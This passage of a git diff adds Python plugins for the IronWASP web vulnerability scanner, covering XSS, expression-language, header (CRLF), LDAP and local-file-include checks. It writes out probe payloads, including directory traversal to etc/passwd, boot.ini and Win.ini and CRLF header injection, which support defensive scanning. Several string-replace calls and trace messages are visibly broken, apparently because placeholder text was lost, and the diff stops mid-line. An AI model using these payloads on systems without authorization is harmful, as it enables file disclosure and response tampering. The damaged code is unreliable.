CSS context") + + + def IsReqCssContext(self, res, keyword, url_or_js): + contexts = self.GetCssContexts(keyword, res) + for context in contexts: + context_parts = context.split("-") + + if context_parts[0] == "Value": + if context_parts[1] == "JS": + if url_or_js == "js": + return True + elif context_parts[1] == "Url": + if url_or_js == "url": + return True + elif context_parts[0] == "Import": + if context_parts[1] == "Raw" or context_parts[1] == "Url": + if context_parts[2] == "Start" or context_parts[2] == "Full": + if url_or_js == "url": + return True + elif context_parts[1] == "RawJS" or context_parts[1] == "UrlJS": + if url_or_js == "js": + return True + return False + + def InsertCssQuotes(self, quote, payload): + if quote == "Double": + return payload.replace("",'"') + elif quote == "Single": + return payload.replace("","'") + else: + return payload.replace("","") + + def CheckForCrossSiteCookieSetting(self): + meta_set_cookies = self.ps_res.Html.GetMetaContent("http-equiv", "set-cookie") + header_set_cookies = [] + if self.ps_res.Headers.Has("Set-Cookie"): + header_set_cookies = self.ps_res.Headers.GetAll("Set-Cookie") + + meta_csc = False + header_csc = False + + for i in range(2): + if i ==0: + set_cookies = meta_set_cookies + else: + set_cookies = header_set_cookies + for set_cookie in set_cookies: + if set_cookie.lower().count(self.ps) > 0: + if i == 0: + meta_csc = True + self.Scnr.Trace(">>Injected ProbeString '{0}' is reflected inside Set-Cookie HTTP-EQUIV Meta Tag. Allows Cross-site Cookie Setting!>".format(self.ps)) + else: + header_csc = True + self.Scnr.Trace(">>Injected ProbeString '{0}' is reflected inside Set-Cookie Header. Allows Cross-site Cookie Setting!>".format(self.ps)) + break + if meta_csc or header_csc: + self.ReportCrossSiteCookieSetting(meta_csc, header_csc) + + def CheckCharsetSecurity(self): + + if not self.base_res.IsCharsetSet: + self.ReportCharsetNotSet() + + self.Scnr.Trace(">>Checking for Charset Manipulation:>") + + charsets = ["UTF-8", "UTF-7"] + inj_req = [] + inj_res = [] + payloads = [] + match_count = 0 + for charset in charsets: + self.Scnr.RequestTrace(" Injected {0} - ".format(charset)) + res = self.Scnr.Inject(charset) + inj_req.append(self.Scnr.InjectedRequest) + inj_res.append(res) + payloads.append(charset) + if res.BodyEncoding == charset: + match_count = match_count + 1 + self.Scnr.ResponseTrace(">Response Charset matches injected value - {0}>".format(charset)) + else: + self.Scnr.ResponseTrace("Response Charset is {0} and does not match the injected value".format(res.BodyEncoding)) + if match_count == 2: + self.Scnr.Trace(">It is possible to manipulate the response Charset!!>") + self.ReportCharsetManipulation(inj_req, inj_res, payloads) + else: + self.Scnr.Trace("Charset manipulation was not successful") + + #css,js,html,attributes,attribute,unknown + def GetContext(self, InjectedValue, Res): + contexts_list = [] + if Res.Headers.Has("Refresh"): + refresh_header = Res.Headers.Get("Refresh").strip() + rh_parts = refresh_header.split(";", 1) + if len(rh_parts) == 2: + rh_url = rh_parts[1].lower().strip().lstrip("url=").strip().strip("'").strip('"') + if rh_url.count(InjectedValue.lower()) > 0: + contexts_list.append("UrlAttribute") + if(Res.IsHtml): + contexts_list.extend(Res.Html.GetContext(InjectedValue)) + elif(Res.IsCss): + contexts_list.append("CSS") + elif(Res.IsJavaScript or Res.IsJson): + contexts_list.append("JS") + else: + contexts_list.append("Unknown") + return contexts_list + + + def ReportCSSTestLead(self): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "XSS Plugin found reflection in CSS" + PR.Summary = "Data injected in to the '{0}' parameter of the {1} is being reflected back as part of CSS. Manually check this for XSS.".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection) + PR.Triggers.Add(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps_req, self.ps, "The injected payload is found inside the CSS section of this response.", self.ps_res) + PR.Type = FindingType.TestLead + self.Scnr.AddFinding(PR) + + def ReportJSTestLead(self): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "XSS Plugin found reflection in JavaScript" + PR.Summary = "Data injected in to the '{0}' parameter of the {1} is being reflected back inside JavaScript. Manually check this for XSS.".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection) + PR.Triggers.Add(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps_req, self.ps, "The injected payload is found inside the JavaScript code section of this response.", self.ps_res) + PR.Type = FindingType.TestLead + self.Scnr.AddFinding(PR) + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.Scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.Scnr.InjectionResponse.GetClone()) + + def AddToTriggersWithProbeStringInjection(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.ps_req) + self.TriggerResponses.append(self.ps_res) + + def SetConfidence(self, NewConfidence): + if NewConfidence > self.Confidence: + self.Confidence = NewConfidence + + def CheckResponseDetails(self, res): + if self.Scnr.InjectedSection == "URL" and self.ps_res.Code == 404: + return + if self.ps_res.Code != res.Code: + self.Scnr.SetTraceTitle("Injection Response Code varies from baseline", 2) + elif self.ps_res.BodyLength + res.BodyLength > 0: + diff_percent = (res.BodyLength * 1.0)/((self.ps_res.BodyLength + res.BodyLength)* 1.0) + if(diff_percent > 0.6 or diff_percent < 0.4): + self.Scnr.SetTraceTitle("Injection Response Length varies from baseline", 1) + + def ReportInjectionInSpecialAttributes(self, payload): + all_tags_and_attrs = [] + for i in range(len(self.injectable_special_tags)): + all_tags_and_attrs.append(" {0}) >{1}> attribute of >{2}> tag".format(i + 1, self.injectable_special_tags[i], self.injectable_special_attributes[i])) + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "Scriptless HTML Injection" + PR.Summary = "Scriptless HTML Injection has been detected in the '{0}' parameter of the {1} section of the request.>It is possible to inject a remote URL in to the following sensitive HTML attributes:>{2}".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection, ">".join(all_tags_and_attrs)) + PR.Triggers.Add(payload, "The payload in this request contains an absolute url. The payload is {0}".format(payload), self.Scnr.InjectedRequest, payload, "The absolute url from the injected payload has been found inside some sensitive attributes in the HTML in this response", self.Scnr.InjectionResponse) + PR.Severity = FindingSeverity.High + PR.Confidence = FindingConfidence.High + self.Scnr.SetTraceTitle("Scriptless HTML Injection Found", 100) + self.Scnr.AddFinding(PR) + + def ReportCrossSiteCookieSetting(self, meta_csc, header_csc): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "Cross-site Cookie Setting" + if meta_csc and header_csc: + context = "META HTTP-EQUIV Set-Cookie tag and Set-Cookie header" + elif meta_csc: + context = "META HTTP-EQUIV Set-Cookie tag" + else: + context = "Set-Cookie header" + PR.Summary = "Cross-site Cookie Setting has been detected in the '{0}' parameter of the {1} section of the request. The value of this parameter is returned in the {2}".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection, context) + PR.Triggers.Add(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps_req, self.ps, "The random string from the payload has been found in the {0} of this response".format(context), self.ps_res) + PR.Severity = FindingSeverity.Medium + PR.Confidence = FindingConfidence.Medium + self.Scnr.SetTraceTitle("Cross-site Cookie Setting", 50) + self.Scnr.AddFinding(PR) + + def ReportCharsetNotSet(self): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "Charset Not Set By Server" + PR.Summary = "The Charset of the response content is not explicitly set by the server. Lack of charset can cause the browser to guess the encoding type and this could lead to Cross-site Scripting by encoding the payload in encoding types like UTF-7." + PR.Triggers.Add("", "", self.base_req, "", "This response does not have an explicit declaration for what character encoding is used in it.", self.base_res) + PR.Severity = FindingSeverity.Medium + PR.Confidence = FindingConfidence.Medium + self.Scnr.SetTraceTitle("Charset Missing", 50) + self.Scnr.AddFinding(PR) + + def ReportCharsetManipulation(self, inj_req, inj_res, payloads): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "Charset Manipulation Possible" + PR.Summary = "Charset Manipulation Possible has been detected in the '{0}' parameter of the {1} section of the request.>It is possible to set the charset of the response body to any desired encoding type.".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection) + for i in range(len(payloads)): + PR.Triggers.Add(payloads[i], "The payload in this request is the name of character encoding type - {0}".format(payloads[i]), inj_req[i], payloads[i], "The character encoding of this response is set as {0}. This is caused by the payload.".format(payloads[i]), inj_res[i]) + PR.Severity = FindingSeverity.Medium + PR.Confidence = FindingConfidence.High + self.Scnr.SetTraceTitle("Charset Manipulation", 50) + self.Scnr.AddFinding(PR) + + def ReportSameSiteScriptInclude(self, scripts_vuln, styles_vuln): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + all_vuln = [] + all_vuln.extend(scripts_vuln) + all_vuln.extend(styles_vuln) + scope = "" + if len(scripts_vuln) > 0 and len(styles_vuln) > 0: + scope = "JS and CSS" + elif len(scripts_vuln) > 0: + scope = "JS" + else: + scope = "CSS" + PR.Title = "In-domain {0} Inclusion".format(scope) + PR.Summary = "In-domain {0} Inclusion has been detected in the '{1}' parameter of the {2} section of the request.>It is possible to set the location of {3} source URL to a resource within the same domain. If user's are allowed to upload text files on to this domain then an attacker can upload script as a regular text file and execute it using this vulnerability.".format(scope, self.Scnr.InjectedParameter, self.Scnr.InjectedSection, scope) + PR.Triggers.Add(self.ps, "The payload in this request is random string just to check where this value it is reflected back in the response.", self.ps_req, "\r\n".join(all_vuln), "The random string from the payload has been found in the src attribute of tags loading {0} files.".format(scope), self.ps_res) + PR.Severity = FindingSeverity.Medium + PR.Confidence = FindingConfidence.High + self.Scnr.SetTraceTitle("In-domain {0} Inclusion".format(scope), 50) + self.Scnr.AddFinding(PR) + + def AnalyseResults(self): + if(len(self.RequestTriggers) > 0): + PR = Finding(self.Scnr.InjectedRequest.BaseUrl) + PR.Title = "Cross-site Scripting Detected" + PR.Summary = "Cross-site Scripting has been detected in the '{0}' parameter of the {1} section of the request".format(self.Scnr.InjectedParameter, self.Scnr.InjectedSection) + for i in range(len(self.RequestTriggers)): + PR.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + PR.Type = FindingType.Vulnerability + PR.Severity = FindingSeverity.High + if self.Confidence == 3: + PR.Confidence = FindingConfidence.High + elif self.Confidence == 2: + PR.Confidence = FindingConfidence.Medium + else: + PR.Confidence = FindingConfidence.Low + self.Scnr.AddFinding(PR) + self.Scnr.SetTraceTitle("XSS Found", 100) + +p = CrossSiteScripting() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/ExpressionLanguageInjection.py b/Iron/bin/Debug/plugins/active/ExpressionLanguageInjection.py new file mode 100644 index 0000000..f8eec30 --- /dev/null +++ b/Iron/bin/Debug/plugins/active/ExpressionLanguageInjection.py @@ -0,0 +1,120 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license + +from IronWASP import * +import re + + +class ExpressionLanguageInjection(ActivePlugin): + + + def GetInstance(self): + p = ExpressionLanguageInjection() + p.Name = 'Expression Language Injection' + p.Description = 'Active plugin to check for Expression Language injection' + p.Version = '0.1' + return p + + + def Check(self, scnr): + self.scnr = scnr + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.TriggerCount = 0 + self.reasons = [] + self.CheckForELI() + self.AnalyzeTestResult() + + + def CheckForELI(self): + self.scnr.Trace(">>Checking for Expression Langugage Injection:>") + for i in range(2): + add_num_1 = 0 + add_num_2 = 0 + base_res = self.scnr.BaseResponse + found_rand_nums = False + while(not found_rand_nums): + add_num_1 = Tools.GetRandomNumber(1000000, 10000000) + add_num_2 = Tools.GetRandomNumber(1000000, 10000000) + if base_res.BodyString.count(str(add_num_1 + add_num_2)) == 0: + found_rand_nums = True + + add_str = "{0}+{1}".format(str(add_num_1), str(add_num_2)) + added_str = str(add_num_1 + add_num_2) + + payload = "${{{0}}}".format(add_str) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if res.BodyString.count(added_str) > 0: + if i == 0: + self.scnr.ResponseTrace(" ==> >Got {0} in the response, this is the result of executing '{1}'. Rechecking to confirm.>".format(added_str, add_str)) + continue + else: + self.scnr.ResponseTrace(" ==> >Got {0} in the response, this is the result of executing '{1}'. Indicates Expression Language Injection!>".format(added_str, add_str)) + self.scnr.SetTraceTitle("Expression Language Injection", 5) + self.AddToTriggers(payload, "The payload in this request contains a Expression Language snippet which if executed will add the numbers {0} & {1} and print the result. The Expression Language snippet is: {2}".format(add_num_1, add_num_2, payload), added_str, "This response contains the value {0} which is the sum of the numbers {1} & {2} which were sent in the request.".format(add_num_1 + add_num_2, add_num_1, add_num_2)) + reason = self.GetEchoReason(payload, payload, add_num_1, add_num_2) + self.reasons.append(reason) + return + else: + if i == 0: + self.scnr.ResponseTrace(" ==> Did not get {0} in the response".format(added_str)) + self.scnr.Trace(">No indication for presence of Expression Language Injection") + break + else: + self.scnr.ResponseTrace(" ==> Did not get {0} in the response. The last instance might have been a false trigger.".format(added_str)) + self.scnr.Trace(">No indication for presence of Expression Language Injection") + + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.scnr.InjectionResponse.GetClone()) + self.TriggerCount = self.TriggerCount + 1 + + def AnalyzeTestResult(self): + if len(self.RequestTriggers) > 0: + self.ReportELInjection(FindingConfidence.Medium) + + def ReportELInjection(self, confidence): + self.scnr.SetTraceTitle("Expression Language Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Expression Language Injection Found" + pr.Summary = "Expression Language Injection been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = confidence + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Expression Language Injection is an issue where it is possible to inject and execute code on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/Expression_Language_Injection>>>" + return Summary + + def GetEchoReason(self, payload, code, num_a, num_b): + Reason = "IronWASP sent >{0}> as payload to the application. This payload has a small Expression Language snippet - >{1}>. ".format(payload, code) + Reason = Reason + "If this code is executed then >{0}> and >{1}> will be added together and the sum of the addition will be printed back in the response. ".format(num_a, num_b) + Reason = Reason + "The response that came back from the application after the payload was injected had the value >{0}>, which is the sum of >{1}> & >{2}>. ".format(num_a + num_b, num_a, num_b) + Reason = Reason + "This indicates that the injected code snippet could have been executed on the server-side." + + ReasonType = "Error" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually inject the same payload but by changing the two numbers to some other value. Then you can observe if the response contains the sum of two numbers." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, self.TriggerCount, FalsePositiveCheck) + return FR + +p = ExpressionLanguageInjection() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/HeaderInjection.py b/Iron/bin/Debug/plugins/active/HeaderInjection.py new file mode 100644 index 0000000..378a4a1 --- /dev/null +++ b/Iron/bin/Debug/plugins/active/HeaderInjection.py @@ -0,0 +1,81 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr + +#Inherit from the base ActivePlugin class +class HeaderInjection(ActivePlugin): + + crlf_inj_str = ["\r\nNeww: Headerr", "aa\r\nNeww: Headerr", "\r\nNeww: Headerr\r\n", "aa\r\nNeww: Headerr\r\n"] + + def GetInstance(self): + p = HeaderInjection() + p.Name = "Header Injection" + p.Description = "Active plugin that checks for HTTP Header Injection by inserting CR LF characters" + p.Version = "0.4" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.reason = "" + self.CheckForCRLFInjection() + + def CheckForCRLFInjection(self): + self.scnr.Trace(">>Checking for Header Injection:>") + self.scnr.Trace(">> Trying to inject a header named 'Neww'>") + crlf_inj_found = False + prefix = ["", self.scnr.PreInjectionParameterValue] + for cis in self.crlf_inj_str: + if crlf_inj_found: + break + for p in prefix: + payload = p + cis + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if(res.Headers.Has("Neww")): + self.scnr.ResponseTrace(" ==> >Header 'Neww' injected>") + self.reason = self.GetReason(payload) + self.ReportCRLFInjection(payload, "The payload in this request attempts to insert a header with name 'Neww' in the response. The payload is {0}".format(payload), "Neww: Headerr", "This response has a header named 'Neww' which was added because of the payload") + crlf_inj_found = True + break + else: + self.scnr.ResponseTrace(" ==> Header not injected") + + def ReportCRLFInjection(self, req_trigger, req_trigger_desc, res_trigger, res_trigger_desc): + self.scnr.SetTraceTitle("Header Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Header Injection Found" + pr.Summary = "Header Injection has been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + pr.AddReason(self.reason) + pr.Triggers.Add(req_trigger, req_trigger_desc, self.scnr.InjectedRequest, res_trigger, res_trigger_desc, self.scnr.InjectionResponse) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = FindingConfidence.High + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Header Injection is an issue where it is possible to inject a new HTTP Header in the response from the application. For more details on this issue refer >http://en.wikipedia.org/wiki/HTTP_header_injection>>>" + return Summary + + def GetReason(self, payload): + payload = Tools.EncodeForTrace(payload) + + #Reason = "IronWASP sent '\r\nNeww: Headerr as payload to the application. This payload has CRLF characters followed by the string Neww: Headerr which is in the format of a HTTP Header with name Neww and value Headerr. " + Reason = "IronWASP sent >{0}> as payload to the application. This payload has CRLF characters followed by the string >Neww: Headerr> which is in the format of a HTTP Header with name >Neww> and value >Headerr>. ".format(payload) + Reason = Reason + "The response that came back from the application after injecting this payload has an HTTP header named >Neww>. " + Reason = Reason + "This indicates that our payload caused an HTTP header to be injected in the response." + + ReasonType = "HeaderAdded" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can send the same payload but with different values for the header name part of the payload. If the response contains any HTTP headers with the specified names then there actually is Header Injection." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, 1, FalsePositiveCheck) + return FR + + +p = HeaderInjection() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/LDAPInjection.py b/Iron/bin/Debug/plugins/active/LDAPInjection.py new file mode 100644 index 0000000..215018d --- /dev/null +++ b/Iron/bin/Debug/plugins/active/LDAPInjection.py @@ -0,0 +1,93 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr + +#Inherit from the base ActivePlugin class +class LDAPInjection(ActivePlugin): + + error_strings = [] + + def GetInstance(self): + p = LDAPInjection() + p.Name = "LDAP Injection" + p.Description = "Active plugin that checks for LDAP Injection" + p.Version = "0.4" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.reason = "" + self.CheckForLDAPInjection() + + def CheckForLDAPInjection(self): + self.scnr.Trace(">>Checking for LDAP Injection:>") + payload = "#^($!@$)(()))******" + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + errors_found = [] + for error in self.error_strings: + if res.BodyString.count(error) > 0: + errors_found.append(error) + if len(errors_found) > 0: + self.scnr.ResponseTrace(" ==> >LDAP Injection Found.>Errors:>{0}>".format(">".join(errors_found))) + self.reason = self.GetReason(payload, errors_found) + self.ReportLDAPInjection(payload, "The payload in this request is meant to trigger LDAP errors. The payload is: {0}".format(payload), "\r\n".join(errors_found), "This response contains LDAP error messages due to the error triggered by the payload") + else: + self.scnr.ResponseTrace(" ==> No Errors Found") + + def ReportLDAPInjection(self, req_trigger, req_trigger_desc, res_trigger, res_trigger_desc): + self.scnr.SetTraceTitle("LDAP Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "LDAP Injection Found" + pr.Summary = "LDAP Injection has been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + pr.AddReason(self.reason) + pr.Triggers.Add(req_trigger, req_trigger_desc, self.scnr.InjectedRequest, res_trigger, res_trigger_desc, self.scnr.InjectionResponse) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = FindingConfidence.High + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "LDAP Injection is an issue where it is possible execute LDAP queries on the LDAP directory being referenced on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/LDAP_injection>>>" + return Summary + + def GetReason(self, payload, errors): + payload = Tools.EncodeForTrace(payload) + + #Reason = Reason + "IronWASP sent #^($!@$)(()))****** as payload to the application, this payload would cause an exception to happen in insecure LDAP queries. " + Reason = "IronWASP sent >{0}> as payload to the application, this payload would cause an exception to happen in insecure LDAP queries. ".format(payload) + if len(errors) > 1: + Reason = Reason + "The response from the application for this payload had the error messages:" + for error in errors: + Reason = Reason + ">>{0}>".format(error) + Reason = Reason + ">These error messages are usually found in LDAP query related exceptions. Therefore this issue has been reported." + else: + #Reason = Reason + "The response from the application for this payload had the error message: An inappropriate matching occurred. ".format(error) + Reason = Reason + "The response from the application for this payload had the error message: >{0}>. ".format(errors[0]) + Reason = Reason + "This error message is usually found in LDAP query related exceptions. Therefore this issue has been reported." + + ReasonType = "Error" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the response recived for the payload and confirm if the error message is actually because of some exception on the server-side." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, 1, FalsePositiveCheck) + return FR + + def SetUp(self): + err_str_file = open(Config.Path + "\\plugins\\active\\ldap_error_strings.txt") + err_str_file.readline()#Ignore the first line containing comments + error_strings_raw = err_str_file.readlines() + err_str_file.close() + for err_str in error_strings_raw: + err_str = err_str.strip() + if len(err_str) > 0: + self.error_strings.append(err_str) + +p = LDAPInjection() +p.SetUp() +ActivePlugin.Add(p.GetInstance()) diff --git a/Iron/bin/Debug/plugins/active/LocalFileInclude.py b/Iron/bin/Debug/plugins/active/LocalFileInclude.py new file mode 100644 index 0000000..e59c504 --- /dev/null +++ b/Iron/bin/Debug/plugins/active/LocalFileInclude.py @@ -0,0 +1,374 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re + +#Inherit from the base ActivePlugin class +class LocalFileInclude(ActivePlugin): + + null_terminator = ["\000",""] + files = {"etc/passwd" : "nix", "boot.ini" : "win", "Windows\\Win.ini" : "win"} + file_ext = ["txt", "html", "jpg",""] + drives = ["c:\\", "d:\\"] + + def GetInstance(self): + p = LocalFileInclude() + p.Name = "Local File Include" + p.Description = "Active Plugin to check for Local File Include/Directory Traversal vulnerabilities" + p.Version = "0.5" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.confidence = 0 + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.reasons = [] + self.TriggerCount = 0 + self.slash_prefix = "" + self.CheckForLocalFileInclude() + + def CheckForLocalFileInclude(self): + self.scnr.Trace(">>Checking for Local File Include:>") + self.slash_prefix = self.GetPrefix() + self.CheckForLocalFileIncludeWithKnownFiles() + self.CheckForLocalFileIncludeWithDownwardTraversal() + self.AnalyzeTestResult() + + def GetPrefix(self): + #Prefix detection logic is inspired by the WAVSEP LFI test cases + self.scnr.Trace(">>Identifying the prefix to use in payloads:>") + self.scnr.RequestTrace(" Injected paylaod - aaa") + prefix_base_res = self.scnr.Inject("aaa") + self.scnr.ResponseTrace(" ==> This response will be used as baseline for prefix detection") + + prefix = "" + + payloads = ["/", "\\", "file:/aaa"] + messages = ["is a directory", "is a directory", "no such file or directory"] + + for i in range(len(payloads)): + payload = payloads[i] + message = messages[i] + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if res.BodyString.lower().count(message) > prefix_base_res.BodyString.lower().count(message): + prefix = payload + self.scnr.ResponseTrace(" ==> >The message '{0}' occured {1} times in this response and {2} time in the baseline response. This indicates that the prefix should be {3}>".format(message, res.BodyString.lower().count(message), prefix_base_res.BodyString.lower().count(message), payload)) + return prefix + else: + self.scnr.ResponseTrace(" ==> Response does not indicate that {0} could be the prefix".format(payload)) + + if self.scnr.PreInjectionParameterValue.startswith("/"): + prefix = "/" + elif self.scnr.PreInjectionParameterValue.startswith("\\"): + prefix = "\\" + elif self.scnr.PreInjectionParameterValue.startswith("file:"): + prefix = "file:" + return prefix + + def CheckForLocalFileIncludeWithKnownFiles(self): + file_exts = [] + self.base_res = self.scnr.BaseResponse + parts = self.scnr.PreInjectionParameterValue.split(".") + if len(parts) > 1: + file_exts.append(parts[len(parts) - 1]) + file_exts.extend(self.file_ext) + + self.scnr.Trace(">>Checking for Local File Include with Known Files:>") + + for f in self.files.keys(): + for nt in self.null_terminator: + for fe in file_exts: + if len(nt) == 0 and len(fe) > 0: + continue#no point in adding a file extension without a null terminator + payload = "" + if self.slash_prefix == "file:": + if self.files[f] == "nix": + payload = "/{0}".format(f, nt) + else: + payload = "c:\\{0}".format(f, nt) + else: + if self.files[f] == "nix": + payload = "{0}{1}{2}{3}".format(self.slash_prefix, "../" * 15, f, nt) + else: + payload = "{0}{1}{2}{3}".format(self.slash_prefix, "..\\" * 15, f, nt) + + if len(fe) > 0: + payload = "{0}.{1}".format(payload, fe) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + downloaded_file_info = self.GetDownloadedFileInfo(res, f) + if len(downloaded_file_info) > 0: + self.scnr.ResponseTrace(" ==> >Response contains contens of {0}>".format(f)) + if self.slash_prefix == "file:": + self.AddToTriggers(payload, "The payload in this request refers to the {0} file by using the file: protocol. The payload is {1}".format(f, payload), downloaded_file_info, "This response contains contents of the {0} file. This was caused by the payload".format(f)) + else: + self.AddToTriggers(payload, "The payload in this request refers to the {0} file by traversing upwards in the directory structure. The payload is {1}".format(f, payload), downloaded_file_info, "This response contains contents of the {0} file. This was caused by the payload".format(f)) + self.SetConfidence(3) + slash = "" + if self.files[f] == "nix": + slash = "/" + else: + slash = "\\" + reason = self.GetEchoReason(payload, f, downloaded_file_info, slash, self.TriggerCount, self.slash_prefix) + self.reasons.append(reason) + else: + self.scnr.ResponseTrace(" ==> No trace of {0}".format(f)) + + def CheckForLocalFileIncludeWithDownwardTraversal(self): + slashes = ["/", "\\"] + for slash in slashes: + self.CheckForLocalFileIncludeWithDownwardTraversalWithSlash(slash) + + def CheckForLocalFileIncludeWithDownwardTraversalWithSlash(self, slash): + #check downward traversal + #indicates presence of file read function and also a insecure direct object reference in that function + self.scnr.Trace(">>Checking for Downward Directory Traversal:>") + self.scnr.Trace(">Normal Response Code - {0}. Length -{0}".format(self.base_res.Code, self.base_res.BodyLength)) + + payload_a = "aa..{0}".format(self.scnr.PreInjectionParameterValue) + payload_a = payload_a.replace("", slash) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_a)) + res_a = self.scnr.Inject(payload_a) + req_a = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_a.Code, res_a.BodyLength)) + + payload_a1 = "aa..{0}".format(self.scnr.PreInjectionParameterValue) + payload_a1 = payload_a1.replace("", slash) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_a1)) + res_a1 = self.scnr.Inject(payload_a1) + req_a1 = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_a1.Code, res_a1.BodyLength)) + + payload_b = "bb..{0}".format(self.scnr.PreInjectionParameterValue) + payload_b = payload_b.replace("", slash) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_b)) + res_b = self.scnr.Inject(payload_b) + req_b = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_b.Code, res_b.BodyLength)) + + payload_b1 = 